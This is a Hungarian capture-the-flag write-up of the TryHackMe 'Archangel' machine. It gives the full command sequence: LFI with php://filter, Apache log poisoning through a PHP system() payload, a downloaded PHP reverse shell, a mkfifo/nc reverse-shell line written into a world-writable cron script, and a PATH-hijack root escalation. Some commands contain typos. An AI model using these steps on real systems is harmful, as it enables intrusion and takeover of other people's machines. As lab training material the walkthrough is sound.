THM Archangel Writeup


#THM Writeup Hack Linux

2021 Oct 05: 17:57

Deploy Machine

Itt nincs semmi teendő, csak a boxot kell elindítani és tovább menni a második taskra.

Task2

Első feladat

A feladat: Find a different hostname Magyarul: Találd meg a másik hostnevet A gép elindítása után a weboldalra navigálva a címsorban elolvasható egy email cím. Ez support@-al kezdődik, az ez utáni rész fog kelleni.

Második feladat

A feladat: Find flag 1 Magyarul: Találd meg az elős flaget Dolgunk a /etc/hosts fájlba beleírni az ip címet és utánna az előbb talált hostnevet. Kövezkezik a flag megkeresése. itt a hostnamera kell navigáni és megkaptuk a flaget.

Harmadik feladat

A feladat: Look for a page under development Magyarul: Nézz körbe az oldalnak, ami fejlesztés alatt van Ehhez a gobuster fog kellen. használata következő: gobuster dir -u <HOSTNAME> -w ~/hax/SecLists/Discovery/Web-Content/raft-large-files.txt itt a találatok közt felbukkan egy php fájl. Erre navigálva láthatóvá vállik, hogy itt lehetséges LFI segítségével fájlokhoz hozzáférni. A megtalált php fájlra navigálva látható, hogy a gomb megnyomása után a /var/www/html/development_testing/mrrobot.php fájl tartalmára hivatkozik. Ennke a kikerülése lesz a következő.

Negyedik feladat

A feladat: Find flag 2 Magyarul: Találd meg a második flaget Ehhez a megtalált php fájl base64-es kódját kell lekérni, majd lefordítani. A lefordítás a következő módon fog történni: http://HOSTNAME.thm/<MEGTALÁLT>.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/<MEGTALÁLT>.php Az itt megkapott kódot ki kell másolni, majd echo <KÓD> | base64-d Itt kiírja a fájl forráskódját, így elolvasható a flag.

Ötödik feladat

A feladat: Get a shell and find the user flag Magyarul: Szerezz egy shell-t és találd meg a felhasználó flaget A Burp Suite nevű program fog kelleni. Indítás után a proxy opcióhoz kell navigálni, majd megnyomni az intecept On gombot és megnyitni egy böngészőt az Open Browser gombbal. Itt a keresőbe be kell másolni a következő sort: http://mafialive.thm/<MEGTALÁLT>.php?view=view=/var/www/html/development_testing/.././.././../log/apache2/access.log Így látható lesz, hogy milyen requesteket azaz kéréseket kapott a szerver eddig.

Repeaterbe küldés

Innentől kezdve nem fog kelleni a burp böngészője, be lehet zárni. A Proxy menün belül található egy HTTP history névre hallgató fül, erre rákattintva látható, hogy milyen kérések mentek el. Itt a Host oszlopban ki kell keresni azt az elemet, ami http://mafialive.thm névre hallgat. Ebből 3 van. az egyik olyan kell, ahol a Status-nál 200-at ír. Erre jobb egér gombbal rá kell kattintani, majd a Ctrl+R kombinációval a repeaterbe kerül. Ide navigálni a fenti menüben lehet és a Repater fül sárgán világít, erre rá kell kattintani.

Sérülékenység megkeresése

Itt található egy mező, ahol a requestet lehet szerkeszteni. itt a User-Agent: után be kell írni ,hogy <?php system($_GET['cmd']); ?>, ez teszi lehetővé a kód futtatást. Következő az első sor átítása. A sorba bele kell írni a parancsot amit akarunk futtatni, az ls esetében ez így néz ki: /<MEGTALÁLT>.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log&cmd=ls A Send gombra való kattintás után jobb oldalt látható, hogy 3 fálj van a mappában, ez azt jelenti, hogy sikeres az lfi.

Fájl feltöltés

Következik a reverse shell feltöltése, amihez le kell tölteni egy php reverse shell-t elször, ez a következő múdon néz ki: wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php Itt első teendő a fájl szerkesztése, át kell írni az ip változót arra az ip-re amit a thm oszt ki, ez megtudható az ifconfig | grep inet 10 parancsal. Következő a shell feltöltése és egy listening indítása. Első egy python3 szerver indítása, ehhez kell a terminába(ajánlott másik, mint ahol dolgozunk) el kell navigálni abba amappába, ahol a shell található, majd beírni, hogy python3 -m http.server 8888 és ezt a terminált magára hagyni.

Listening indítása

Ajánlott az rlwrap nevű program használata, mivel olyan funkciókat engedélyez, amiket később ne mlehetne használni. A listenighez be kell írni a terminálba, hogy rlwrap nc -lvp 1234, majd vissza kell menni a burpbe. Itt a felső sorban a cmd utáni részt le kell cserélni ls-ről wget http://<SAJÁT_IP>:8888/shell.php-ra, majd ezt kimásolni és az böngészőben elindítani, mivel Burpben nem tud lefutni. Itt a feltöltött fájlra kell navigálni a böngészőben és ezzel aktiválni a shell-t. Vagyis a mafialive.thm/shell.php-ra kell navigálni és vissza kell menni abba a terminálba, ahol a hallgatózzás fut és itt látható lesz, hogy megjelent a reverse shell.

Bejutás után

Első a shell upgradelése, ami a következő módon fog történni:

python3 -c 'import pty;pty.spawn(/bin/bash)'
export TERM=xterm-256color

Ezzel olyan funkciókat lehet szerezni, amiket egy alap reverse shellel nem lehetne használni. Következő a /home mappába navigálni és az ls parancs használata után látható, hogy 1 felhasználó van a rendszerben, az ő mappájába navigálva egy listázással láthatóvá vállik ,hogy itt van a user.txt, ennek a ki cat-elésével megadható a válasz a feladatra.

Task3

Első feladat

A feladat: Get User 2 flag Magyarul: Szerezd meg a második felhasználó flagjét A cat /etc/crontab parancsal láthatóvá vállik, hogy az archangel felhasználó futtat egy cronjobot. Az ls parancs segítségével az is megtudható, hogy 777-es rajta a permission, vagyis bárki csinálhat vele bármit. Következő teendő egy új terminált nyitni, de az előzőt nem bezárni. echo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.5.125 1337 >/tmp/f > helloworld.sh Ez után a hallgatózás következik, ez a következő módon történik: rlwrap nc -lvp 1337. Miután a fájlba belekerült a parancs attól számolva maximum 1 perc mire bejön a shell a megnyitott terminálban. Itt a user2.txt a secret mappában található.

Második feladat

A feladat: Root the machine and find the root flag Magyarul: Rootold a gépet és találd meg a root flaget A secret mappában található egy backup fájl. Erre ezt lefuttatva a következő parancsot végzi el: cp /home/user/archangel/myfiles/* /opt/backupfiles. Ez hibába fut. A teendő:

    cd /tmp
    echo '/bin/bash -p' > cp
    chmod 777 cp
    export PATH=/tmp$:PATH
    cd ~/secret
    ./backup

Ezek után az id parancs segítségével látható, hogy root felhasználót szereztünk. Utolsó teendő a flag kiolvasása a cat /root/root.txt parancsal